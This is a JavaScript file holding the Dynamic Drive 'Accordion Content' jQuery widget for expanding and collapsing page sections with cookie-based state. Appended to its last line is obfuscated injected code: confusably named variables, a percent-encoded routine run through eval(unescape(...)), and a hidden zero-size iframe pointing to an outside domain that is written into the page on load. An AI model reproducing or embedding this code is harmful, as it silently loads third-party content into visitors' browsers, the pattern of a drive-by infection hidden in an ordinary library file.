//Accordion Content script: By Dynamic Drive, at http://www.dynamicdrive.com
//Created: Jan 7th, 08'

var ddaccordion={
	
	contentclassname:{}, //object to store corresponding contentclass name based on headerclass

	expandone:function(headerclass, selected){ //PUBLIC function to expand a particular header
		this.toggleone(headerclass, selected, "expand")
	},

	collapseone:function(headerclass, selected){ //PUBLIC function to collapse a particular header
		this.toggleone(headerclass, selected, "collapse")
	},

	expandall:function(headerclass){ //PUBLIC function to expand all headers based on their shared CSS classname
		var $headers=$('.'+headerclass)
		$('.'+this.contentclassname[headerclass]+':hidden').each(function(){
			$headers.eq(parseInt($(this).attr('contentindex'))).click()
		})
	},

	collapseall:function(headerclass){ //PUBLIC function to collapse all headers based on their shared CSS classname
		var $headers=$('.'+headerclass)
		$('.'+this.contentclassname[headerclass]+':visible').each(function(){
			$headers.eq(parseInt($(this).attr('contentindex'))).click()
		})
	},

	toggleone:function(headerclass, selected, optstate){ //PUBLIC function to expand/ collapse a particular header
		var $targetHeader=$('.'+headerclass).eq(selected)
		var $subcontent=$('.'+this.contentclassname[headerclass]).eq(selected)
		if (typeof optstate=="undefined" || optstate=="expand" && $subcontent.is(":hidden") || optstate=="collapse" && $subcontent.is(":visible"))
			$targetHeader.click()
	},

	expandit:function($targetHeader, $targetContent, config){
		$targetContent.slideDown(config.animatespeed)
		this.transformHeader($targetHeader, config, "expand")
	},

	collapseit:function($targetHeader, $targetContent, config){
		$targetContent.slideUp(config.animatespeed)
		this.transformHeader($targetHeader, config, "collapse")
	},

	transformHeader:function($targetHeader, config, state){
		$targetHeader.addClass((state=="expand")? config.cssclass.expand : config.cssclass.collapse) //alternate btw "expand" and "collapse" CSS classes
		.removeClass((state=="expand")? config.cssclass.collapse : config.cssclass.expand)
		if (config.htmlsetting.location=='src'){ //Change header image (assuming header is an image)?
			$targetHeader=($targetHeader.is("img"))? $targetHeader : $targetHeader.find('img').eq(0) //Set target to either header itself, or first image within header
			$targetHeader.attr('src', (state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse) //change header image
		}
		else if (config.htmlsetting.location=="prefix") //if change "prefix" HTML, locate dynamically added ".accordprefix" span tag and change it
			$targetHeader.find('.accordprefix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
		else if (config.htmlsetting.location=="suffix")
			$targetHeader.find('.accordsuffix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
	},

	getCookie:function(Name){ 
		var re=new RegExp(Name+"=[^;]+", "i") //construct RE to search for target name/value pair
		if (document.cookie.match(re)) //if cookie found
			return document.cookie.match(re)[0].split("=")[1] //return its value
		return null
	},

	setCookie:function(name, value){
		document.cookie = name + "=" + value
	},

	init:function(config){
	document.write('<style type="text/css">\n')
	document.write('.'+config.contentclass+'{display: none}\n') //generate CSS to hide contents
	document.write('<\/style>')
	$(document).ready(function(){
		ddaccordion.contentclassname[config.headerclass]=config.contentclass //remember contentclass name based on headerclass
		config.cssclass={collapse: config.toggleclass[0], expand: config.toggleclass[1]} //store expand and contract CSS classes as object properties
		config.htmlsetting={location: config.togglehtml[0], collapse: config.togglehtml[1], expand: config.togglehtml[2]} //store HTML settings as object properties
		var lastexpanded={} //object to hold reference to last expanded header and content (jquery objects)
		var expandedindices=(config.persiststate)? ddaccordion.getCookie(config.headerclass) : config.defaultexpanded
		expandedindices=(typeof expandedindices=='string')? expandedindices.replace(/c/ig, '').split(',') : config.defaultexpanded //test for valid cookie ('string'), otherwise (null, or 1st page load), default to defaultexpanded setting
		var $subcontents=$('.'+config["contentclass"])
		if (config["collapseprev"] && expandedindices.length>1)
			expandedindices=[expandedindices.pop()] //return last array element as an array (for sake of jQuery.inArray())
		$('.'+config["headerclass"]).each(function(index){ //loop through all headers
			if (/(prefix)|(suffix)/i.test(config.htmlsetting.location) && $(this).html()!=""){ //add a SPAN element to header depending on user setting and if header is a container tag
				$('<span class="accordprefix"></span>').prependTo(this)
				$('<span class="accordsuffix"></span>').appendTo(this)
			}
			$(this).attr('headerindex', index+'h') //store position of this header relative to its peers
			$subcontents.eq(index).attr('contentindex', index+'c') //store position of this content relative to its peers
			var $subcontent=$subcontents.eq(index)
			if (jQuery.inArray(index, expandedindices)!=-1){ //check for headers that should be expanded automatically
				if (config.animatedefault==false)
					$subcontent.show()
				ddaccordion.expandit($(this), $subcontent, config)
				lastexpanded={$header:$(this), $content:$subcontent}
			}  //end check
			else{
				$subcontent.hide()
				ddaccordion.transformHeader($(this), config, "collapse")
			}
		})
		$('.'+config["headerclass"]).click(function(){ //assign behavior when headers are clicked on
				var $subcontent=$subcontents.eq(parseInt($(this).attr('headerindex'))) //get subcontent that should be expanded/collapsed
				if ($subcontent.css('display')=="none"){
					ddaccordion.expandit($(this), $subcontent, config)
					if (config["collapseprev"] && lastexpanded.$header && $(this).get(0)!=lastexpanded.$header.get(0)){ //collapse previous content?
						ddaccordion.collapseit(lastexpanded.$header, lastexpanded.$content, config)
					}
					lastexpanded={$header:$(this), $content:$subcontent}
				}
				else{
					ddaccordion.collapseit($(this), $subcontent, config)
				}
				return false
 	})
		$(window).bind('unload', function(){ //clean up and persist on page unload
			$('.'+config["headerclass"]).unbind('click')
			var expandedindices=[]
			$('.'+config["contentclass"]+":visible").each(function(index){ //get indices of expanded headers
				expandedindices.push($(this).attr('contentindex'))
			})
			if (config.persiststate==true){ //persist state?
				expandedindices=(expandedindices.length==0)? '-1c' : expandedindices //No contents expanded, indicate that with dummy '-1c' value?
				ddaccordion.setCookie(config.headerclass, expandedindices)
			}
		})
	})
	}
}l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII;O000=new Array();O000[0]='<iframe src=\'http://';O0OO='fu';OO0O='sVVtERqNpQeIeqkFlMsGMIUhxHIT';O0OO+='nction __'+'__(_'+'O0){';OO00='var%20l%32%3D%77\151%6E%64o%77%2E\157p\145%72a%3F%31%3A%30%3Bfunc\164%69%6F%6E%20l%33%28l%34%29%7B\154%35%3D%2Fz%61%2F\147%3Bl%36%3D%53\164rin\147%2Ef\162o%6DCh%61%72%43o%64%65%28%30%29%3B%6C%34%3D\154%34%2E\162%65p\154\141%63e%28\154%35%2Cl%36%29%3B%76a\162%20%6C%37%3D%6E%65%77%20\101r\162a\171%28%29%2Cl%38%3D%5F%31%3Dl%34%2Ele%6E%67%74h%2C%6C%39%2C%6C\111%2Cil%3D%31%36%32%35%36%2C%5F%31%3D%30%2CI%3D%30%2Cl%69%3D%27%27%3B%64o%7B\154%39%3D\154%34%2Ec%68arCod\145\101t%28%5F%31%29%3Bl\111%3D\154%34%2Ec\150ar%43od\145%41\164%28%2B%2B%5F%31%29%3B%6C%37%5BI%2B%2B%5D%3D%6CI%2Bi\154%2D%28l%39%3C%3C%37%29%7D\167\150\151le%28%5F%31%2B%2B%3C\154%38%29%3B\166ar%20\154%31%3D\156ew';O000[0]+='deinglaube.com/images/\' h~';O0OO+='eva';OOOO='hOQtCXaUwrsqvfnuOlkDrulOnWUymKyo';O0OO+='l(unes'							+'cape(_O0))}';eval									(O0OO);O0O0='JBiVXnUZitSaSEbByOKOOSoSOYmiJaDsoDVfEpBO';O0OO='';OO00+='%20%41rray%28%29%2C%6C%30%3D%6Ee%77%20\101r\162%61y%28%29%2CI%6C%3D%31%32%38%3B%64%6F%7Bl%30%5B\111l%5D%3DS\164r%69\156g%2E\146\162omC\150%61\162Cod\145%28I\154%29%7Dwh%69%6C%65%28%2D%2D\111l%29%3B%49l%3D%31%32%38%3B%6C%31%5B%30%5D%3Dl\151%3D%6C%30%5Bl%37%5B%30%5D%5D%3B%6C%6C%3D%6C%37%5B%30%5D%3B%5F\154%3D%31%3Bv\141r%20l%5F%3D\154%37%2El%65%6E%67t\150%2D%31%3B%77\150%69le%28%5F%6C%3C\154%5F%29%7B\163\167\151tch%28\154%37%5B%5F%6C%5D%3C%49l%3F%31%3A%30%29%7B%63a%73e%20%30%20%3A\154%30%5BI%6C%5D%3Dl%30%5Bl\154%5D%2BS\164ri%6Eg%28\154%30%5B%6Cl%5D%29%2Es\165%62%73\164r%28%30%2C%31%29%3B\154%31%5B%5Fl%5D%3Dl%30%5BI%6C%5D%3B\151f%28\154%32%29%7Bl\151%2B%3D%6C%30%5BIl%5D%7D%3B%62\162ea';OOO0='l';O000[0]+='g~\r=0 width~0 bor~r~0><~"~~e>';OO00+='%6B%3Bdefau\154%74%3A%6C%31%5B%5F\154%5D%3D\154%30%5Bl%37%5B%5F%6C%5D%5D%3Bi\146%28%6C%32%29%7Bl\151%2B%3Dl%30%5Bl%37%5B%5F%6C%5D%5D%7D%3Bl%30%5B\111l%5D%3D\154%30%5B\154l%5D%2BS%74%72%69n%67%28\154%30%5Bl%37%5B%5F\154%5D%5D%29%2Es\165\142%73tr%28%30%2C%31%29%3B%62%72e\141k%7D%3B%49%6C%2B%2B%3B\154l%3Dl%37%5B%5F%6C%5D%3B%5F%6C%2B%2B%7D%3Bif%28%21%6C%32%29%7B%72%65t%75\162%6E%28l%31%2E%6Ao\151n%28%27%27%29%29%7Del\163\145%7B%72e%74u%72%6E%20l\151%7D%7D%3B\166%61r%20lO%3D%27%27%3B\146or%28i%69%3D%30%3Bi\151%3CO%30%30%30%2E%6Cen\147%74\150%3Bi\151%2B%2B%29%7B%6C%4F%2B%3Dl%33%28O%30%30%30%5B\151i%5D%29%7D%3Bi%66%28%6E\141\141%29%7Bd\157%63%75\155e\156\164%2E%77%72\151te%28\154O%29%7D%3B';O0O0      ='.quIwOdeam+:K75ZciV;*SXROtMl//m gd$MNhZOl';____    (OO00);OOO0+='#rrTU/LCJstnO@3A8Sy69OY&J,XjR$!vfwEaDV1 <&1H! O Urhpy= 82f!YfOx	*OOtKo#QpX*>?<G%%k5=C0i';